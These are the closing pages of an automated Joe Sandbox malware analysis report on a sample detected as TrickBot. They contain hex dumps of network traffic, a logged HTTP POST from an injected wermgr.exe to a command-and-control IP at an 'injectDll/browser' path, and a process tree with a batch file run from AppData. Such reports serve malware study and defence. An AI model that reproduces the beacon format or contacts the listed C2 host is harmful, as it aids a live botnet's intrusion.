9b 55 ff 2b 59 cb 0a e7 8d 0f 29 cd 04 60 a1 e0 ea c3 f4 5a b8 7c 0a c5 4d 4e 99 ba 46 66 c0 a1 2b b0 43 3d e0 a4 e6 87 ea d0 53 Data Ascii: #1=C#&EazC]i>B=o*yBCI(;2Z~y^=KYu=Q;,xTv*d<KOR/-T=eoHO|<d5[->}V+QOS#t=>.xA!ng|u,Q/3IY`^lU+Y)`Z|MNFf+C=S

2021-11-08 19:58:51 UTC 4184 IN Data Raw: 7d d1 91 84 b9 67 c7 18 b7 71 1c f4 3c 15 49 f8 61 47 c6 ff bd cb c0 54 9b 2a fd 43 9f a9 2d 87 cc c2 8a 42 e4 90 a6 83 ad ee ee be 98 83 66 57 a0 66 4b 53 2e 8a f3 aa d6 69 c8 8f 02 4d b4 66 25 c7 6f 06 c8 81 8b 75 50 f3 0c 9a 4b ac 1a 37 4a 9b a7 dd bd 04 13 21 e0 26 30 15 a3 e6 7a 11 2f b4 db e2 d2 c8 da ee 09 4d 0f 09 d5 89 e2 aa e8 be 94 13 55 40 8e 4f 61 04 93 1a 94 45 1b 68 09 84 33 23 96 52 25 cb 89 38 90 60 ff d0 cf 60 8e 7e 86 1e f2 ba cb 81 25 1b 65 2f c2 a2 67 5f cd a2 11 58 49 1d 13 b9 20 74 a5 db e5 55 be 6c 75 5c 51 aa 35 15 76 13 dd 6d 03 92 46 65 5d b8 09 07 2b f8 ef 0d 7e c7 5b 5b d8 53 ce e0 58 cb 40 6b ea 73 ac 4e 6e c2 7a f1 8a 03 24 46 6a b3 cc ef 54 2f 3c 17 c0 12 06 bd ca e6 f0 95 21 25 e5 b9 28 a3 6e 33 ca f2 9d 1d 4d 45 c5 8b 4a Data Ascii: }gq<IaGT*C-BfWfKS.iMf%ouPK7J!&0z/MU@OaEh3#R%8``~%e/g_XI tUlu\Q5vmFe]+~[[SX@ksNnz$FjT/<!%(n3MEJ

2021-11-08 19:58:51 UTC 4200 IN Data Raw: 8c 5d fd 72 18 7f f2 63 9d 2f 29 92 f8 73 44 c1 bd 57 7c c4 af 12 5f d9 59 37 50 b5 92 51 06 8f 29 72 38 16 90 7c 26 54 fb db 38 1f 66 bd 53 94 0d e1 2c 69 13 be 93 5f 8b 12 03 c9 fd fc 8b 25 2f 72 66 c3 d7 b6 c1 68 36 98 9b bc 65 0f 08 8d 4c 58 12 e8 21 b9 c6 17 60 11 ff db e1 70 64 45 0a 37 d8 d0 81 b0 f2 55 3f 61 5a 80 ca d2 31 fe b1 55 01 8c 7b 2b b3 e2 6d bf 6b 7e e7 43 a3 d8 23 b2 c7 74 c5 aa ea 25 0a 69 97 c0 37 2d 3c 89 13 c4 d6 2a 1e 4e 87 a0 9c 60 7b 4f 84 64 4f 92 1a 64 7b bd 5b 93 e2 fd 1b 6e b3 f9 2f 5c 9a ee 74 4b 1c 16 db b3 f4 6e ac 4e 03 0c c4 3b f1 fa 34 ad c3 96 cb f6 aa b1 44 56 75 0b 8c f4 90 9f 9e ce a1 20 c2 f5 1d f1 7d c6 ff 23 49 a7 94 94 d9 a2 b6 9d 2a 15 4c 4c ef 17 d4 8a 0c 62 f7 48 83 c6 6e a7 65 82 fc 80 a7 90 f4 76 90 a4 b7 Data Ascii: ]rc/)sDW|_Y7PQ)r8|&T8fS,i_%/rfh6eLX!`pdE7U?aZ1U{+mk~C#t%i7-<*N`{OdOd{[n/\tKnN;4DVu }#I*LLbHnev

2021-11-08 19:58:51 UTC 4216 IN Data Raw: 16 7a 07 d2 57 c3 6f 27 9b c1 cf 77 8e 70 21 db 80 50 9b e3 59 e5 b6 3b 9c 4b 83 9e 91 1e 43 f1 7b ab f6 69 9b26 f1 5d 0b 20 28 c1 06 2f 0c 46 ce 01 0f 13 22 15 9c 69 93 db 38 e3 b1 8e 85 65 28 b4 8b db 87 e3 2f b7 f5 eb 92 60 fd bb 23 4d f8 65 5b 27 45 4b 0d b3 38 17 fb 95 0e e9 0f ac 57 97 1d 09 c2 69 d6 40 75 1d ef 18 e5 8f c7 e9 ca 71 90 22 78 52 0f 4d 7d b5 4c be bf 51 ba 96 be 66 ba 9d 40 3f 5b 7c 86 59 ce 3a 40 3a 88 fa 9b 6f 87 97 00 56 a2 a9 4d 16 79 f0 aa cdfc 8a a1 07 61 1a dd 1e 4f 1b 5b 79 ce b5 d2 2c 39 8e 58 7e f3 02 fe 24 b7 bc 16 8a f1 59 6a a4 9f 59 3c af 05 74 b2 06 3a 55 55 d7 75 41 c5 d4 23 13 57 2b 57 8c b6 af ff f7 37 2c f5 ca 21 ee fd fb 10 cc 5b 23 7f 70 44 76 3f 63 5e 3b c3 fb 81 22 2f 1c 7f 41 72 cd eb 11 f0 bd 21 84 b9 8a ba Data Ascii: zWo'wp!PY;KC{i&] (/F"i8e(/`#Me['EK8Wi@uq"xRM}LQf@?[|Y:@:oVMyaO[y,9X~$YjY<t:UUuA#W+W7,![#pDv?c^;"/Ar!

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.11.20 49817 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:52:09 UTC 696 OUT POST /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/64/injectDll/VERS/browser/ HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=------Boundary0141BF9DUser-Agent: curl/7.77.0Content-Length: 139Host: 202.65.119.162

2021-11-08 19:52:09 UTC 696 OUT Data Raw: 2d Data Ascii: -

2021-11-08 19:52:09 UTC 696 OUT Data Raw: 2d 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 30 31 34 31 42 46 39 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 69 6e 66 6f 22 0d 0a 0d 0a 42 75 69 6c 64 20 64 61 74 65 3a 20 53 65 70 20 32 33 20 32 30 32 31 20 31 30 3a 33 37 3a 32 34 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 30 31 34 31 42 46 39 44 2d 2d 0d 0a 0d 0a Data Ascii: -------Boundary0141BF9DContent-Disposition: form-data; name="info"Build date: Sep 23 2021 10:37:24--------Boundary0141BF9D--

2021-11-08 19:52:11 UTC 856 IN HTTP/1.1 200 OKServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:52:11 GMTContent-Type: text/plainContent-Length: 3Connection: close

2021-11-08 19:52:11 UTC 856 IN Data Raw: 2f 31 2f Data Ascii: /1/

Copyright Joe Security LLC 2021 Page 48 of 51

Click to jump to process

System Behavior

Start time: 20:50:20

Start date: 08/11/2021

Path: C:\Users\user\Desktop\HOPdc7v13C.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\HOPdc7v13C.exe"

Imagebase: 0xb70000

File size: 656384 bytes

MD5 hash: 0686D0C6289FE85B513173479A4B6CF3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000001.00000002.61498151176.0000000002A31000.00000040.00000001.sdmp, Author: Joe Security

Reputation: low

File ActivitiesFile Activities

Start time: 20:50:23

Start date: 08/11/2021

Path: C:\Windows\System32\wermgr.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\wermgr.exe

Imagebase: 0x7ff768ee0000

File size: 228680 bytes

MD5 hash: F7991343CF02ED92CB59F394E8B89F1F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Start time: 20:50:24

Start date: 08/11/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\cmd.exe

Imagebase: 0x7ff783280000

Analysis Process: HOPdc7v13C.exe PID: 5964 Parent PID: 3280Analysis Process: HOPdc7v13C.exe PID: 5964 Parent PID: 3280

General

Analysis Process: wermgr.exe PID: 5908 Parent PID: 5964Analysis Process: wermgr.exe PID: 5908 Parent PID: 5964

General

File ReadFile Read

Analysis Process: cmd.exe PID: 2016 Parent PID: 5964Analysis Process: cmd.exe PID: 2016 Parent PID: 5964

General

Copyright Joe Security LLC 2021 Page 49 of 51

File size: 289792 bytes

MD5 hash: 8A2122E8162DBEF04694B9C3E0B6CDEE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File ActivitiesFile Activities

Start time: 20:50:52

Start date: 08/11/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\user\AppData\Roaming\NotepadIDE_I0MY\cmdexecute.bat"

Imagebase: 0x7ff783280000

File size: 289792 bytes

MD5 hash: 8A2122E8162DBEF04694B9C3E0B6CDEE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Start time: 20:50:52

Start date: 08/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff651530000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 20:50:59

Start date: 08/11/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\svchost.exe

Imagebase: 0x7ff7dd2c0000

File size: 57360 bytes

MD5 hash: F586835082F632DC8D9404D83BC16316

Has elevated privileges: true

Has administrator privileges: true

Analysis Process: cmd.exe PID: 5312 Parent PID: 1440Analysis Process: cmd.exe PID: 5312 Parent PID: 1440

General

Analysis Process: conhost.exe PID: 6360 Parent PID: 5312Analysis Process: conhost.exe PID: 6360 Parent PID: 5312

General

Analysis Process: svchost.exe PID: 4840 Parent PID: 5908Analysis Process: svchost.exe PID: 4840 Parent PID: 5908

General

Copyright Joe Security LLC 2021 Page 50 of 51

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal

Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Show Windows behavior

Key Value CreatedKey Value Created

Copyright Joe Security LLC 2021 Page 51 of 51